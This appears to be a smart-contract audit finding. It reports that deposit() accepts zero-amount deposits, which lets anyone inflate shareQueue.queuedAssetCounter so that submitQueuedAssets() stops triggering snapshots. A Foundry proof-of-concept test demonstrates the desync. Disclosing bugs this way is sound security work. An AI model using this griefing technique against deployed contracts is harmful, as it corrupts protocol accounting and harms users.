The deposit() function is called by sync and async vaults as well as the OnOfframpManager.
When depositing, it will call the internal function _updateAssets() inside which it will increment the shareQueue.queuedAssetCounter if the previous queued deposits and withdrawals are set to 0. Then it will increase the deposits queued by the deposited amount.
Later when the manager calls submitQueuedAssets() to sync the hub with the balanceSheet it will reset the queued deposits and withdrawals as well as decrement the shareQueue.queuedAssetCounter. The assetCounter variable is used inside the function to determine if a snapshot should happen, this is the case If shareQueue.queuedAssetCounter == assetCounter, it is also subtracted from it at the end of the function.
assetCounter will always be either 0 or 1, depending if there is queued deposits and withdrawals telling the function to trigger snapshot only once the queue has been cleared.
However, when depositing there is no check on zero deposits which allows any user to increment the shareQueue.queuedAssetCounter variable infinitely. This is an issue has the submitQueuedAssets() function relies on it to trigger snapshots and expects it to be incremented only when there is queued deposits and withdrawals.
By making the variable out of sync, the isSnapshot parameter sent to the hub will always be false and there is no way to fix the shareQueue.queuedAssetCounter. This could lead the hub to be out of sync with the balanceSheet.
POC:
contract OnOfframpManagerDepositZeroSuccessTests is OnOfframpManagerBaseTest {
using CastLib for *;
using UpdateContractMessageLib for *;
function testDeposit() public {
//setup
vm.prank(address(spoke));
manager.update(
POOL_A,
defaultTypedShareClassId,
UpdateContractMessageLib.UpdateContractUpdateAddress({
kind: bytes32("onramp"),
assetId: defaultAssetId,
what: bytes32(""),
isEnabled: true
}).serialize()
);
balanceSheet.updateManager(POOL_A, address(manager), true);
assertEq(erc20.balanceOf(address(manager)), 0);
assertEq(balanceSheet.availableBalanceOf(manager.poolId(), manager.scId(), address(erc20), erc20TokenId), 0);
//do 3 empty deposits
manager.deposit(address(erc20), erc20TokenId, 0, address(manager));
manager.deposit(address(erc20), erc20TokenId, 0, address(manager));
manager.deposit(address(erc20), erc20TokenId, 0, address(manager));
assertEq(erc20.balanceOf(address(manager)), 0);
assertEq(
balanceSheet.availableBalanceOf(manager.poolId(), manager.scId(), address(erc20), erc20TokenId), 0
);
//the counter gets incremented 3 times
(,,uint32 queuedAssetCounter,) = balanceSheet.queuedShares(manager.poolId(), manager.scId());
assertEq(queuedAssetCounter, 3);
//add a >1 valid deposit
erc20.mint(address(manager), 1e18);
manager.deposit(address(erc20), erc20TokenId, 1e18, address(manager));
//now we're at 4
(,, queuedAssetCounter,) = balanceSheet.queuedShares(manager.poolId(), manager.scId());
assertEq(queuedAssetCounter, 4);
//let's try to create a snapshot
balanceSheet.submitQueuedAssets(manager.poolId(), manager.scId(), balanceSheet.spoke().assetToId(address(erc20), 0), 0);
//effectively reduces by 1 since balance > 0
(,, queuedAssetCounter,) = balanceSheet.queuedShares(manager.poolId(), manager.scId());
assertEq(queuedAssetCounter, 3);
//doing it again will not reduce the counter though
balanceSheet.submitQueuedAssets(manager.poolId(), manager.scId(), balanceSheet.spoke().assetToId(address(erc20), 0), 0);
(,, queuedAssetCounter,) = balanceSheet.queuedShares(manager.poolId(), manager.scId());
assertEq(queuedAssetCounter, 3);
}
}